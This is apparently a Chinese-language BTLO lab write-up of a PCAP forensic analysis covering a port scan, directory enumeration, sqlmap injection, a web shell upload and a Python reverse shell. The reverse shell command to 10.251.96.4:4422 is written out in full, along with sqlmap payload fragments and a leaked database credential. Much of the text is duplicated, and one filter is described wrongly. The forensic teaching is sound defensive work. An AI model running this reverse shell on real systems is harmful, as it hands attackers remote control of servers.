layshatem5-bit/btlo-port-scan-investigation
GitHub: layshatem5-bit/btlo-port-scan-investigation
一份完整的 BTLO 网络安全实验报告,记录了使用 Wireshark 对端口扫描与 Web 攻击链进行 PCAP 取证分析的全过程。
Stars: 0 | Forks: 0
# 🔍 BTLO 实验室 — 端口扫描与 Web 攻击 PCAP 分析
**平台:** Blue Team Labs Online (BTLO)
**工具:** Wireshark
**文件类型:** `.pcap`
## 📋 场景说明
首先想到的问题是:为什么同一公司内部的两台机器,会有一台去扫描另一台?这不是正常行为,而是出现问题的强烈指标。
## 🗂️ 分析步骤
### 步骤 1 — 文件属性
在 Wireshark 中打开文件后,我们导航到了 **统计 (Statistics) → 捕获文件属性 (Capture File Properties)**。
| 字段 | 值 |
|-------|-------|
| 首个数据包 | 2021-02-07 18:31:22 |
| 最后一个数据包 | 2021-02-07 18:46:31 |
| 经过时间 | 00:15:08 |
### 步骤 2 — 协议层级
从 **统计 (Statistics) → 协议层级 (Protocol Hierarchy)** 中,我们观察到了以下协议:
- `SSH`
- `DNS`
- `HTTP`
- `SMB`
**为什么这些协议很重要?**
从 SOC 分析师的角度来看,这些协议常被滥用于**横向移动 (Lateral Movement)**。
### 步骤 3 — 会话
从 **统计 (Statistics) → 会话 (Conversations)** 中,按字节数排序。
- A 列中的每个 IP 都在与 B 列进行通信。
-
- 在 **TCP 选项卡**下:第一个 IP (`.4`) 使用**相同的源端口**向第二个 IP (`.5`) 发起了数百次连接,但每次都针对**不同的目标端口** —— 这是**端口扫描 (Port Scanning)** 的明显标志。
-
**数据包大小观察:**
- 大多数数据包为 **118 字节**
- 端口 22 和 80 显示为 **184 字节**
**为什么?** 其他端口处于关闭状态,因此没有发生完整的 TCP 握手。端口 22 和 80 处于开放状态,并向源 IP 回复了 **ACK**。
### 步骤 4 — 数据包深入分析
为了获得更好的时间戳精度,我们通过 **视图 (View) → 时间显示格式 (Time Display Format)** 更改了时间显示格式。
#### HTTP 流分析
从第 14 个数据包开始,我们使用了 **追踪流 (Follow) → TCP 流 (TCP Stream)**。
- 您可以在底部按 **客户端请求 (Client Request)** 或 **服务器响应 (Server Response)** 进行过滤。
- **TCP 流**和 **HTTP 流**的区别:
- TCP 流:显示原始数据,包括编码或异常内容。
- HTTP 流:以干净、易于阅读的格式呈现数据。
从 HTTP 流中我们发现:
```
Apache/2.4.29 (Ubuntu) Server at 172.20.10.2 Port 80
```
**→ IP `.2` 是一台 Ubuntu 服务器。**
### 步骤 5 — 发现登录凭据
继续向下滚动流内容,显示了第一个 **POST 请求**:
```
username=admin&password=*****
```
密码经过了 **URL 编码**(由 `%` 字符指示),因此我们使用 **URL 解码器**对其进行了解码,以显示明文值。
### 步骤 6 — 添加源端口列
通过 **首选项 (Preferences)**,我们添加了一个 **源端口 (Source Port)** 列,以跟踪攻击者尝试连接了多少个端口。
- 源端口 = 攻击者的机器(最初被攻陷的主机)
- SYN/ACK 响应仅出现在开放端口(22 和 80)上
- 总扫描持续时间:**不到一秒钟** 🔥
### 步骤 7 — Wireshark 过滤器
#### HTTP 响应代码过滤器
```
http.response.code == 404 # Pages not found
http.response.code == 200 # Successful responses
```
#### 过滤涉及攻击者 IP 的成功响应
```
(http.response.code==200) && (ip.src==10.251.96.5)
```
**为什么这很有用?**
1. 如果攻击者正在托管本地 HTTP 服务器以拉取工具 —— 您可以识别文件名和大小。
2. 如果有正在发出的 C2 命令 —— 您可以读取它们。
3. 如果存在数据泄露 —— 您可以确认数据已到达攻击者处。
#### 快速对比:两个重要的过滤器
| 过滤器 | 含义 | 用例 |
|--------|---------|----------|
| `(http.response.code==200) && (ip.dst==10.251.96.4)` | **发往**攻击者的成功响应 | 追踪攻击者接收到的内容 |
| `(http.response.code==200) && (ip.src==10.251.96.5)` | **从**被攻陷的计算机**发送的**成功响应 | 监控受感染计算机的出站流量 |
| `(http.request.method=200)` | **从**被攻陷的计算机或攻击者**发送的**成功 POST 请求
攻击者正在向服务器上传 payload。
## 🔎 关键发现 — 攻击时间线
### 🔴 阶段 1 — 端口扫描
- **攻击者 IP:** `10.251.96.4`
- **受害者 IP:** `10.251.96.5`
- **端口范围:** 1–1024
- **扫描类型:** TCP SYN 扫描
- **发现的开放端口:** **端口 22 (SSH)** 和 **端口 80 (HTTP)**
### 🔴 阶段 2 — 侦察 (Gobuster)
过滤大数据包后发现:
```
User-Agent: gobuster/3.0.1
```
- 攻击者使用 **Gobuster** 进行**目录枚举**。
- 该工具访问了 `/info.php`,服务器回复了 `200 OK`。
- 该文件暴露了一个 **phpinfo()** 页面 —— 这是一个严重的信息泄露漏洞。
**从 phpinfo() 收集到的信息:**
| 字段 | 值 |
|-------|-------|
| 服务器名称 | `bob-appserver` |
| 操作系统 | Ubuntu 18.04 |
| PHP 版本 | 7.2.24 |
| Web 服务器 | Apache 2.4.29 |
| 数据库 | MySQL(通过 mysqli 和 pdo_mysql) |
| 配置路径 | `/etc/php/7.2/apache2/php.ini` |
这些信息对攻击者来说是一份大礼,他现在可以入侵服务器了。
**最后一个 Gobuster 数据包:** #13661,时间为 `16:34:06`
### 🔴 阶段 3 — SQL 注入 (sqlmap)
数据包 #13979 显示:
```
User-Agent: sqlmap/1.4.7#stable (http://sqlmap.org)
```
#### 关键发现 — 信息泄露 🚨
服务器向用户返回了此错误消息:
```
Unable to connect to: root:bobthe@localhost. Error:
```
**攻击者现在知道了:**
| 字段 | 值 |
|-------|-------|
| 数据库用户名 | `root` |
| 数据库密码 | `bobthe` |
| 主机 | `localhost` |
这被归类为**信息泄露 / 敏感信息暴露** (OWASP)。
#### sqlmap 尝试的 Payload
```
UNION ALL SELECT ... -- UNION-based Injection
-- Reflected XSS Test
FROM information_schema.tables -- Database Enumeration
xp_cmdshell -- OS Command Execution (MSSQL)
cat /etc/passwd -- Linux Command Execution
```
#### 为什么 sqlmap 失败了?
尽管进行了各种尝试,服务器一直回复:
```
Unable to connect to: root:bobthe@localhost
```
在执行任何 SQL 查询之前,应用程序就无法连接到数据库,因此注入实际上从未运行过。可能的原因:
- 数据库服务已停止 (`sudo systemctl stop mysql`)
- 权限或端口配置错误
- 代码中的密码已过期
**最后一个 sqlmap POST 数据包:** #15978,时间为 `16:37:28`
### 🔴 阶段 4 — Web Shell 上传
数据包 **#16102** — POST/UPLOAD,时间为 `16:40:39`:
```
POST /upload.php
Content-Type: multipart/form-data
filename="dbfunctions.php"
```
#### 上传的文件内容
```
```
这是一个经典的 **Web Shell**。任何对以下内容的请求:
```
/uploads/dbfunctions.php?cmd=whoami
```
都会直接在服务器上执行 `whoami`。
#### 上传后的序列
| 步骤 | 请求 | 响应 | 意义 |
|------|---------|----------|--------------|
| 1️⃣ | `POST /upload.php` | `The file dbfunctions.php has been uploaded` | Web Shell 上传成功 |
| 2️⃣ | `GET /uploads/` | `Index of /uploads` | 目录列表已启用 —— 非常危险! |
| 3️⃣ | `GET /uploads/dbfunctions.php` | `HTTP 200` | Shell 已执行(尚无 `cmd` 参数) |
### 🔴 阶段 5 — 远程代码执行与 Reverse Shell
数据包 **#16201**,时间为 `16:42:35`:
```
GET /uploads/dbfunctions.php?cmd=python%20-c%20...
```
经过 URL 解码后,命令为:
```
python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.251.96.4",4422));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);
'
```
#### 代码分解
| 行 | 用途 |
|------|---------|
| `socket.socket(...)` | 打开一个 TCP socket |
| `s.connect(("10.251.96.4",4422))` | 受害者服务器在端口 4422 上反向连接到攻击者 |
| `os.dup2(...)` | 通过 socket 重定向 stdin/stdout/stderr |
| `subprocess.call(["/bin/sh","-i"])` | 生成一个交互式 shell |
**为什么使用 Reverse Shell 而不是 Bind Shell?**
大多数服务器允许出站连接,但通过防火墙阻止入站连接。Reverse Shell 让受害者主动向攻击者发起连接,从而绕过了这一限制。
```
10.251.96.4 (Attacker)
▲
│ Reverse TCP on Port 4422
│
10.251.96.5 (Victim — Web Server)
```
紧接着,我们观察到端口 4422 上的 **TCP 三次握手** —— 证实攻击者获得了完整的 shell 访问权限。✅
并且他开始在服务器上运行命令:
1. id
2. whoami
...
## 🏁 实验室问答
| # | 问题 | 答案 |
|---|----------|--------|
| 1 | 负责端口扫描的 IP 是什么? | `10.251.96.4` |
| 2 | 端口扫描的范围是什么? | `1–1024` |
| 3 | 进行了哪种类型的端口扫描? | `TCP SYN 扫描` |
| 4 | 还有两个用于侦察的工具,它们是什么? | `Gobuster 3.0.1` 和 `sqlmap 1.4.7` |
| 5 | 用于上传 Web Shell 的 PHP 文件名是什么? | `editprofile.php` |
| 6 | 上传的 Web Shell 名称是什么? | `dbfunctions.php` |
| 7 | Web Shell 中使用的参数是什么? | `cmd` |
| 8 | 攻击者执行的第一条命令是什么? | `id` |
| 9 | 攻击者获得了哪种类型的 shell 连接? | `Reverse Shell` |
| 10 | shell 连接使用的是哪个端口? | `4422` |
## 📌 攻陷指标 (IOC)
| IOC | 值 |
|-----|-------|
| 攻击者 IP | `10.251.96.4` |
| 受害者 IP | `10.251.96.5` |
| 上传的 Web Shell | `dbfunctions.php` |
| Web Shell 路径 | `/uploads/dbfunctions.php` |
| Web Shell 参数 | `cmd=` |
| Reverse Shell 端口 | `4422` |
| 泄露的数据库凭据 | `root:bobthe@localhost` |
| 使用的工具 | `Gobuster 3.0.1`, `sqlmap 1.4.7` |
## 🛡️ MITRE ATT&CK 映射
| 技术 | ID | 描述 |
|-----------|----|-------------|
| 网络服务扫描 | T1046 | 内部端口扫描 |
| 利用面向公众的应用程序 | T1190 | Web 应用程序漏洞利用 |
| 服务器软件组件:Web Shell | T1505.003 | Web Shell 上传 |
| 入口工具传输 | T1105 | 传输到服务器的恶意文件 |
| 命令和脚本:Unix Shell | T1059.004 | 通过 Shell 执行的命令 |
| 命令和脚本:Python | T1059.006 | 基于 Python 的 Reverse Shell |
## 🔧 Wireshark 过滤器备忘单
```
# 仅成功的响应
http.response.code == 200
# 未找到的页面
http.response.code == 404
# 涉及攻击者 IP(作为源)的成功响应
(http.response.code==200) && (ip.src==10.251.96.5)
# 发往攻击者的成功响应
(http.response.code==200) && (ip.dst==10.251.96.4)
# 来自/发往特定 IP 的所有 POST 请求
http.request.method=="POST" && ip.addr==10.251.96.4
# 仅限于这两个主机的精确 filter
(http.response.code==200) && (ip.src==10.251.96.5) && (ip.dst==10.251.96.4)
```
## 💡键要点
1. **切勿在生产服务器上暴露 `phpinfo()`** —— 这等于把您环境的完整地图交给了攻击者。
2. **错误消息必须通用化** —— 返回原始数据库连接字符串是一个严重的漏洞。
3. **必须验证文件上传** —— 使用严格的白名单(例如,仅限图片),绝不允许上传 PHP 文件。
4. **禁用目录列表** —— 开放的 `/uploads/` 目录向攻击者证实了他们的文件已成功上传。
5. **监控服务器的出站连接** —— Reverse Shell 依赖它们来绕过防火墙。
| 字段 | 值 |
|-------|-------|
| 首个数据包 | 2021-02-07 18:31:22 |
| 最后一个数据包 | 2021-02-07 18:46:31 |
| 经过时间 | 00:15:08 |
### 步骤 2 — 协议层级
从 **统计 (Statistics) → 协议层级 (Protocol Hierarchy)** 中,我们观察到了以下协议:
- `SSH`
- `DNS`
- `HTTP`
- `SMB`
**为什么这些协议很重要?**
从 SOC 分析师的角度来看,这些协议常被滥用于**横向移动 (Lateral Movement)**。
### 步骤 3 — 会话
从 **统计 (Statistics) → 会话 (Conversations)** 中,按字节数排序。
- A 列中的每个 IP 都在与 B 列进行通信。
-
- 在 **TCP 选项卡**下:第一个 IP (`.4`) 使用**相同的源端口**向第二个 IP (`.5`) 发起了数百次连接,但每次都针对**不同的目标端口** —— 这是**端口扫描 (Port Scanning)** 的明显标志。
-
**数据包大小观察:**
- 大多数数据包为 **118 字节**
- 端口 22 和 80 显示为 **184 字节**
**为什么?** 其他端口处于关闭状态,因此没有发生完整的 TCP 握手。端口 22 和 80 处于开放状态,并向源 IP 回复了 **ACK**。
### 步骤 4 — 数据包深入分析
为了获得更好的时间戳精度,我们通过 **视图 (View) → 时间显示格式 (Time Display Format)** 更改了时间显示格式。
#### HTTP 流分析
从第 14 个数据包开始,我们使用了 **追踪流 (Follow) → TCP 流 (TCP Stream)**。
- 您可以在底部按 **客户端请求 (Client Request)** 或 **服务器响应 (Server Response)** 进行过滤。
- **TCP 流**和 **HTTP 流**的区别:
- TCP 流:显示原始数据,包括编码或异常内容。
- HTTP 流:以干净、易于阅读的格式呈现数据。
从 HTTP 流中我们发现:
```
Apache/2.4.29 (Ubuntu) Server at 172.20.10.2 Port 80
```
**→ IP `.2` 是一台 Ubuntu 服务器。**
### 步骤 5 — 发现登录凭据
继续向下滚动流内容,显示了第一个 **POST 请求**:
```
username=admin&password=*****
```
密码经过了 **URL 编码**(由 `%` 字符指示),因此我们使用 **URL 解码器**对其进行了解码,以显示明文值。
### 步骤 6 — 添加源端口列
通过 **首选项 (Preferences)**,我们添加了一个 **源端口 (Source Port)** 列,以跟踪攻击者尝试连接了多少个端口。
- 源端口 = 攻击者的机器(最初被攻陷的主机)
- SYN/ACK 响应仅出现在开放端口(22 和 80)上
- 总扫描持续时间:**不到一秒钟** 🔥
### 步骤 7 — Wireshark 过滤器
#### HTTP 响应代码过滤器
```
http.response.code == 404 # Pages not found
http.response.code == 200 # Successful responses
```
#### 过滤涉及攻击者 IP 的成功响应
```
(http.response.code==200) && (ip.src==10.251.96.5)
```
**为什么这很有用?**
1. 如果攻击者正在托管本地 HTTP 服务器以拉取工具 —— 您可以识别文件名和大小。
2. 如果有正在发出的 C2 命令 —— 您可以读取它们。
3. 如果存在数据泄露 —— 您可以确认数据已到达攻击者处。
#### 快速对比:两个重要的过滤器
| 过滤器 | 含义 | 用例 |
|--------|---------|----------|
| `(http.response.code==200) && (ip.dst==10.251.96.4)` | **发往**攻击者的成功响应 | 追踪攻击者接收到的内容 |
| `(http.response.code==200) && (ip.src==10.251.96.5)` | **从**被攻陷的计算机**发送的**成功响应 | 监控受感染计算机的出站流量 |
| `(http.request.method=200)` | **从**被攻陷的计算机或攻击者**发送的**成功 POST 请求
攻击者正在向服务器上传 payload。
## 🔎 关键发现 — 攻击时间线
### 🔴 阶段 1 — 端口扫描
- **攻击者 IP:** `10.251.96.4`
- **受害者 IP:** `10.251.96.5`
- **端口范围:** 1–1024
- **扫描类型:** TCP SYN 扫描
- **发现的开放端口:** **端口 22 (SSH)** 和 **端口 80 (HTTP)**
### 🔴 阶段 2 — 侦察 (Gobuster)
过滤大数据包后发现:
```
User-Agent: gobuster/3.0.1
```
- 攻击者使用 **Gobuster** 进行**目录枚举**。
- 该工具访问了 `/info.php`,服务器回复了 `200 OK`。
- 该文件暴露了一个 **phpinfo()** 页面 —— 这是一个严重的信息泄露漏洞。
**从 phpinfo() 收集到的信息:**
| 字段 | 值 |
|-------|-------|
| 服务器名称 | `bob-appserver` |
| 操作系统 | Ubuntu 18.04 |
| PHP 版本 | 7.2.24 |
| Web 服务器 | Apache 2.4.29 |
| 数据库 | MySQL(通过 mysqli 和 pdo_mysql) |
| 配置路径 | `/etc/php/7.2/apache2/php.ini` |
这些信息对攻击者来说是一份大礼,他现在可以入侵服务器了。
**最后一个 Gobuster 数据包:** #13661,时间为 `16:34:06`
### 🔴 阶段 3 — SQL 注入 (sqlmap)
数据包 #13979 显示:
```
User-Agent: sqlmap/1.4.7#stable (http://sqlmap.org)
```
#### 关键发现 — 信息泄露 🚨
服务器向用户返回了此错误消息:
```
Unable to connect to: root:bobthe@localhost. Error:
```
**攻击者现在知道了:**
| 字段 | 值 |
|-------|-------|
| 数据库用户名 | `root` |
| 数据库密码 | `bobthe` |
| 主机 | `localhost` |
这被归类为**信息泄露 / 敏感信息暴露** (OWASP)。
#### sqlmap 尝试的 Payload
```
UNION ALL SELECT ... -- UNION-based Injection
-- Reflected XSS Test
FROM information_schema.tables -- Database Enumeration
xp_cmdshell -- OS Command Execution (MSSQL)
cat /etc/passwd -- Linux Command Execution
```
#### 为什么 sqlmap 失败了?
尽管进行了各种尝试,服务器一直回复:
```
Unable to connect to: root:bobthe@localhost
```
在执行任何 SQL 查询之前,应用程序就无法连接到数据库,因此注入实际上从未运行过。可能的原因:
- 数据库服务已停止 (`sudo systemctl stop mysql`)
- 权限或端口配置错误
- 代码中的密码已过期
**最后一个 sqlmap POST 数据包:** #15978,时间为 `16:37:28`
### 🔴 阶段 4 — Web Shell 上传
数据包 **#16102** — POST/UPLOAD,时间为 `16:40:39`:
```
POST /upload.php
Content-Type: multipart/form-data
filename="dbfunctions.php"
```
#### 上传的文件内容
```
```
这是一个经典的 **Web Shell**。任何对以下内容的请求:
```
/uploads/dbfunctions.php?cmd=whoami
```
都会直接在服务器上执行 `whoami`。
#### 上传后的序列
| 步骤 | 请求 | 响应 | 意义 |
|------|---------|----------|--------------|
| 1️⃣ | `POST /upload.php` | `The file dbfunctions.php has been uploaded` | Web Shell 上传成功 |
| 2️⃣ | `GET /uploads/` | `Index of /uploads` | 目录列表已启用 —— 非常危险! |
| 3️⃣ | `GET /uploads/dbfunctions.php` | `HTTP 200` | Shell 已执行(尚无 `cmd` 参数) |
### 🔴 阶段 5 — 远程代码执行与 Reverse Shell
数据包 **#16201**,时间为 `16:42:35`:
```
GET /uploads/dbfunctions.php?cmd=python%20-c%20...
```
经过 URL 解码后,命令为:
```
python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.251.96.4",4422));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);
'
```
#### 代码分解
| 行 | 用途 |
|------|---------|
| `socket.socket(...)` | 打开一个 TCP socket |
| `s.connect(("10.251.96.4",4422))` | 受害者服务器在端口 4422 上反向连接到攻击者 |
| `os.dup2(...)` | 通过 socket 重定向 stdin/stdout/stderr |
| `subprocess.call(["/bin/sh","-i"])` | 生成一个交互式 shell |
**为什么使用 Reverse Shell 而不是 Bind Shell?**
大多数服务器允许出站连接,但通过防火墙阻止入站连接。Reverse Shell 让受害者主动向攻击者发起连接,从而绕过了这一限制。
```
10.251.96.4 (Attacker)
▲
│ Reverse TCP on Port 4422
│
10.251.96.5 (Victim — Web Server)
```
紧接着,我们观察到端口 4422 上的 **TCP 三次握手** —— 证实攻击者获得了完整的 shell 访问权限。✅
并且他开始在服务器上运行命令:
1. id
2. whoami
...
## 🏁 实验室问答
| # | 问题 | 答案 |
|---|----------|--------|
| 1 | 负责端口扫描的 IP 是什么? | `10.251.96.4` |
| 2 | 端口扫描的范围是什么? | `1–1024` |
| 3 | 进行了哪种类型的端口扫描? | `TCP SYN 扫描` |
| 4 | 还有两个用于侦察的工具,它们是什么? | `Gobuster 3.0.1` 和 `sqlmap 1.4.7` |
| 5 | 用于上传 Web Shell 的 PHP 文件名是什么? | `editprofile.php` |
| 6 | 上传的 Web Shell 名称是什么? | `dbfunctions.php` |
| 7 | Web Shell 中使用的参数是什么? | `cmd` |
| 8 | 攻击者执行的第一条命令是什么? | `id` |
| 9 | 攻击者获得了哪种类型的 shell 连接? | `Reverse Shell` |
| 10 | shell 连接使用的是哪个端口? | `4422` |
## 📌 攻陷指标 (IOC)
| IOC | 值 |
|-----|-------|
| 攻击者 IP | `10.251.96.4` |
| 受害者 IP | `10.251.96.5` |
| 上传的 Web Shell | `dbfunctions.php` |
| Web Shell 路径 | `/uploads/dbfunctions.php` |
| Web Shell 参数 | `cmd=` |
| Reverse Shell 端口 | `4422` |
| 泄露的数据库凭据 | `root:bobthe@localhost` |
| 使用的工具 | `Gobuster 3.0.1`, `sqlmap 1.4.7` |
## 🛡️ MITRE ATT&CK 映射
| 技术 | ID | 描述 |
|-----------|----|-------------|
| 网络服务扫描 | T1046 | 内部端口扫描 |
| 利用面向公众的应用程序 | T1190 | Web 应用程序漏洞利用 |
| 服务器软件组件:Web Shell | T1505.003 | Web Shell 上传 |
| 入口工具传输 | T1105 | 传输到服务器的恶意文件 |
| 命令和脚本:Unix Shell | T1059.004 | 通过 Shell 执行的命令 |
| 命令和脚本:Python | T1059.006 | 基于 Python 的 Reverse Shell |
## 🔧 Wireshark 过滤器备忘单
```
# 仅成功的响应
http.response.code == 200
# 未找到的页面
http.response.code == 404
# 涉及攻击者 IP(作为源)的成功响应
(http.response.code==200) && (ip.src==10.251.96.5)
# 发往攻击者的成功响应
(http.response.code==200) && (ip.dst==10.251.96.4)
# 来自/发往特定 IP 的所有 POST 请求
http.request.method=="POST" && ip.addr==10.251.96.4
# 仅限于这两个主机的精确 filter
(http.response.code==200) && (ip.src==10.251.96.5) && (ip.dst==10.251.96.4)
```
## 💡键要点
1. **切勿在生产服务器上暴露 `phpinfo()`** —— 这等于把您环境的完整地图交给了攻击者。
2. **错误消息必须通用化** —— 返回原始数据库连接字符串是一个严重的漏洞。
3. **必须验证文件上传** —— 使用严格的白名单(例如,仅限图片),绝不允许上传 PHP 文件。
4. **禁用目录列表** —— 开放的 `/uploads/` 目录向攻击者证实了他们的文件已成功上传。
5. **监控服务器的出站连接** —— Reverse Shell 依赖它们来绕过防火墙。标签:IP 地址批量处理, PCAP分析, PE 加载器, Wireshark, Writeup, 句柄查看, 安全, 并发处理, 插件系统, 数据统计, 端口扫描, 超时处理